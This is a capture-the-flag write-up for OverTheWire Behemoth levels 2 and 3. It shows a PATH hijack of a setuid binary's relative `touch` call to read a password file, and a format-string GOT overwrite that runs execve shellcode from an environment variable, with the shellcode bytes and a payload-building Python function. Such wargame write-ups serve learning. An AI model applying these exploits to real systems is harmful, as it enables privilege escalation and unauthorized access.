overthewire / behemoth

Level 2

This one started off as a bit of a fun one:

behemoth2@behemoth:/behemoth$ ./behemoth2
touch: cannot touch '180': Permission denied
^C
behemoth2@behemoth:/behemoth$ ./behemoth2
touch: cannot touch '186': Permission denied
^C

A run through strace yields more information:

behemoth2@behemoth:/behemoth$ strace ./behemoth2
execve("./behemoth2", ["./behemoth2"], [/* 21 vars */]) = 0
[ Process PID=204 runs in 32 bit mode. ]
...
getpid()                                = 204
lstat64("204", 0xffffd5c0)              = -1 ENOENT (No such file or directory)
unlink("204")                           = -1 ENOENT (No such file or directory)
rt_sigaction(SIGINT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xffffd500) = 205
waitpid(205, touch: cannot touch '204': Permission denied
[{WIFEXITED(s) && WEXITSTATUS(s) == 1}], 0) = 205
rt_sigaction(SIGINT, {SIG_DFL, [], 0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL, [], 0}, NULL, 8) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=205, si_status=1, si_utime=0, si_stime=0} ---
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
rt_sigaction(SIGCHLD, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
nanosleep({2000, 0}, ^CProcess 204 detached
 <detached ...>

We now see where that number comes from - it’s the process’ PID - and the pause is due to the call to sleep. Mmm.

Looking at the binary through strings, we see something of interest:

behemoth2@behemoth:/behemoth$ strings behemoth2 | egrep -v -e'^(\.|_)'
/lib/ld-linux.so.2
libc.so.6
sprintf
unlink
getpid
system
sleep
GLIBC_2.4
GLIBC_2.0
PTRh
QVhm
cat
D$(
[^_]
touch %d
;*2$"
GCC: (Ubuntu 4.8.4-2ubuntu1~14.04.3) 4.8.4
crtstuff.c
deregister_tm_clones
register_tm_clones
completed.6591
frame_dummy
behemoth2.c
data_start
sleep@@GLIBC_2.0
unlink@@GLIBC_2.0
lstat
getpid@@GLIBC_2.0
system@@GLIBC_2.0
main
sprintf@@GLIBC_2.0

And that’s the way touch is invoked. It’s a little sneaky but you’ll notice it’s not using an absolute path. If this was /usr/bin/touch instead there isn’t much we could have done. But what will happen is that the program will look for the first available touch in $PATH.

With this in mind we can create a ‘fake’ touch that might just output the password file.

behemoth2@behemoth:/behemoth$ cd /tmp
behemoth2@behemoth:/tmp$ cat > touch
#!/bin/sh
/bin/cat /etc/behemoth_pass/behemoth3
behemoth2@behemoth:/tmp$ chmod +x /tmp/touch
behemoth2@behemoth:/tmp$ PATH=/tmp:$PATH /behemoth/behemoth2
*** password ***
^C

Nice!

PS: I should note I tried a whole bunch of other stuff before deciding to start on a clean slate - it looks straightforward when put that way but it was anything but!

Level 3

At first glance we have a binary that takes user input and displays it back to us:

behemoth3@behemoth:/behemoth$ ./behemoth3
Identify yourself: santa
Welcome, santa

aaaand goodbye again.

Could it be passing our input directly?

behemoth3@behemoth:/behemoth$ echo 'AAAABBBB-%.x-%.x-%.x-%.x-%.x-%.x-%.x' | ./behemoth3
Identify yourself: Welcome, AAAABBBB-c8-f7fccc20-f7ff2e76-2-f7ffd000-41414141-42424242

aaaand goodbye again.

Right - format string exploitation time! The plan is to stick shellcode in an environment variable and get the binary to execute it. What address though? A quick glance through the binary doesn’t reveal much:

behemoth3@behemoth:/behemoth$ gdb -batch -ex 'file behemoth3' -ex 'disassemble main'                    Dump of assembler code for function main:
   0x0804847d <+0>:     push   %ebp
   0x0804847e <+1>:     mov    %esp,%ebp
   0x08048480 <+3>:     and    $0xfffffff0,%esp
   0x08048483 <+6>:     sub    $0xe0,%esp
   0x08048489 <+12>:    movl   $0x8048570,(%esp)
   0x08048490 <+19>:    call   0x8048330 <printf@plt>
   0x08048495 <+24>:    mov    0x80497a4,%eax
   0x0804849a <+29>:    mov    %eax,0x8(%esp)
   0x0804849e <+33>:    movl   $0xc8,0x4(%esp)
   0x080484a6 <+41>:    lea    0x18(%esp),%eax
   0x080484aa <+45>:    mov    %eax,(%esp)
   0x080484ad <+48>:    call   0x8048340 <fgets@plt>
   0x080484b2 <+53>:    movl   $0x8048584,(%esp)
   0x080484b9 <+60>:    call   0x8048330 <printf@plt>
   0x080484be <+65>:    lea    0x18(%esp),%eax
   0x080484c2 <+69>:    mov    %eax,(%esp)
   0x080484c5 <+72>:    call   0x8048330 <printf@plt>
   0x080484ca <+77>:    movl   $0x804858e,(%esp)
   0x080484d1 <+84>:    call   0x8048350 <puts@plt>
   0x080484d6 <+89>:    mov    $0x0,%eax
   0x080484db <+94>:    leave
   0x080484dc <+95>:    ret
End of assembler dump.

We do not however the call to puts@plt. This means puts’ address will actually be resolved at runtime. We can look into the GOT to find out where the lookup will happen:

abehemoth3@behemoth:/behemoth$ objdump -R behemoth3

behemoth3:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049778 R_386_GLOB_DAT    __gmon_start__
080497a4 R_386_COPY        stdin
08049788 R_386_JUMP_SLOT   printf
0804978c R_386_JUMP_SLOT   fgets
08049790 R_386_JUMP_SLOT   puts
08049794 R_386_JUMP_SLOT   __gmon_start__
08049798 R_386_JUMP_SLOT   __libc_start_main

0x08049790 will do nicely!

From there on it’s fairly mechanical. We start by finding the address of our environment variable:

behemoth3@behemoth:/tmp$ env -i SHELLCODE=$(python -c 'print  "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80"') /tmp/moth_behemoth3 SHELLCODE
SHELLCODE is at 0xffffdfc0

(/tmp/moth_behemoth3 is nothing more than a standard getenv wrapper of the same length as the binary)

And build our payload. I got a little bored with the arithmetic so here’s a small function that does the needful:

from pwnlib.util.packing import p32
def s(addr=0x08049790, value=0xffffdfc0, offset=6):
  lob = value & 0xffff
  hob = (value >> 16) &0xffff

  a = lob-0x8 if hob > lob else hob-0x8
  offset1 = offset + 1 if hob > lob else offset
  b = hob-lob if hob > lob else lob-hob
  offset2 = offset if hob > lob else offset

  return '{addr2}{addr}%.{a}x%{offset1}$hn%.{b}x%{offset2}$hn'.format(addr=p32(addr),addr2=p32(addr+0x2), a=a,b=b,offset1=offset1,offset2=offset2)

Giving us:

▒▒%.57272x%7$hn%.8255x%6$hn

Which we’ll just save to file for ease of use. Let’s just check we’re on the write track:

behemoth3@behemoth:/behemoth$ cat /tmp/payload | env -i strace /behemoth/behemoth3 2>&1 | grep si_addr  --- SIGILL {si_signo=SIGILL, si_code=ILL_ILLOPN, si_addr=0xffffdfca} ---

Putting it all together:

behemoth3@behemoth:/behemoth$ (cat /tmp/payload;cat) | env -i SHELLCODE=$(python -c 'print  "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80"') /behemoth/behemoth3
...
whoami
behemoth4
cat /etc/behemoth_pass/behemoth4
*** password ***

Done!